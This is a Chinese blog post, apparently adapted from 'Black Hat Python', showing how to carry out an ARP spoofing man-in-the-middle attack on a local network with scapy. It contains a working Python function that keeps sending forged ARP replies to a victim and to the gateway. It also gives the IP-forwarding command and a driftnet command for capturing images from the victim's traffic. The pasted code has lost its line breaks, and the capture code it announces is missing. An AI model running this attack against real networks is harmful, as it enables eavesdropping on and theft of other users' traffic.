• SEO文章推广! 合作联系qq:122325244 正式全面改版 !免费SEO地址:https://www.seozhan.cn/tool 站长QQ群
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏SEO站长博客吧

使用scapy进行ARP攻击

脚本编程 SEO站长博客 4个月前 (08-01) 77次浏览 已收录 0个评论

摘要

ARP 协议并不只在发送了 ARP 请求才接收 ARP应答。当计算机接收到 ARP应答数据包的时候,就会对本地的 ARP 缓存进行更新,将应答中的 IP 和 MAC 地址存储在 ARP 缓存中。因此,当局域网中的某台机器 B 向 A 发送一个自己伪造的 ARP应答,而如果这个应答是 B 冒充 C 伪造来的,即 IP 地址为 C 的 IP,而 MAC地址是伪造的,则当 A 接收到 B 伪造的 ARP应答后,就会更新本地的 ARP 缓存,这样在 A 看来 C 的 IP地址没有变,而它的 MAC地址已经不是原来那个了。 通过 ARP 欺骗可以对内网数据进行嗅探,在内网渗透中往往也是重要的一部分。

   实验环境如下

无线网关: IP:192.168.199.1 MAC: d4-ee-07-67-40-68 普通用户: IP:192.168.199.213 MAC:5c:93:a2:fe:29:e3 攻击者: IP:192.168.199.229 MAC:30-b4-9e-67-25-47 实验环境图如下:

   一、ARP 欺骗原理

攻击者通过构造两种 ARP 响应包,分别欺骗普通用户和网关路由器。 第一种 ARP 包中源 IP 为网关 IP(192.168.199.1),源 MAC 为攻击者 MAC(30:b4:9e:67:25:47),目的 IP 为普通用户 IP(192.168.199.213),目的 MAC 为普通用户 MAC(5c:93:a2:fe:29:e3)。当用户收到此 ARP 报文则将 ARP 表中网关的 MAC地址更新为攻击者的 MAC(30:b4:9e:67:25:47)。当普通转发数据时数据则会发向攻击者的 PC 上,由攻击者进行数据转发。 第二种 ARP 包中源 IP 为普通用户 IP(192.168.199.213),但源 MAC 为攻击者 MAC(30:b4:9e:67:25:47),目的 IP 为网关 IP(192.168.199.1),目的 MAC 为网关 MAC(d4:ee:07:67:40:68)。网关收到此 ARP 将 ARP 表中普通用户的 MAC 更新为攻击者 MAC(30:b4:9e:67:25:47)。 实现代码如下: `def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):

   poison_target=ARP() poison_target.op=2 poison_target.psrc=gateway_ip poison_target.pdst=target_ip poison_target.hwdst=target_mac poison_gateway=ARP() poison_gateway.op=2 poison_gateway.psrc=target_ip poison_gateway.pdst=gateway_ip poison_gateway.hwdst=gateway_mac print [*] Beginning the ARP poison.[CTRL-C to stop] while True: try: send(poison_target) send(poison_gateway) print send sucess! time.sleep(2) except KeyboardInterrupt: restore_target(gateway_ip,gateway_mac,target_ip,target_mac) print [*] ARP poison attack finished. return

通过不间断的发送这两种 ARP 报文,攻击者以中间人的形式窃取数据报文。

实验前普通用户 PC 机中 ARP 表如下: 实验开始前,需打开攻击者的路由转发功能,若未开启转发攻击,普通用户则无法正常访问外网。 echo 1 > /proc/sys/net/ipv4/ip_forward 运行脚本: 查看普通用户的 ARP 表项:

   二、进行数据包抓取

使用 scapy 抓包代码如下: 成功进行了 ARP 欺骗,访问外网,能正常访问 在攻击者 PC 上抓取的数据包,并用 wireshark 打开如下:

   三、图片浏览

当被攻击用户同浏览器访问图片文件时,可搭配 driftnet 进行图片抓取 driftnet -i wlan0 抓取图片如下: 参考文章:《Black Hat Python》

代码托管:weinxin


SEO站长博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:使用scapy进行ARP攻击
喜欢 (0)
[h4ck3st@126.com]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址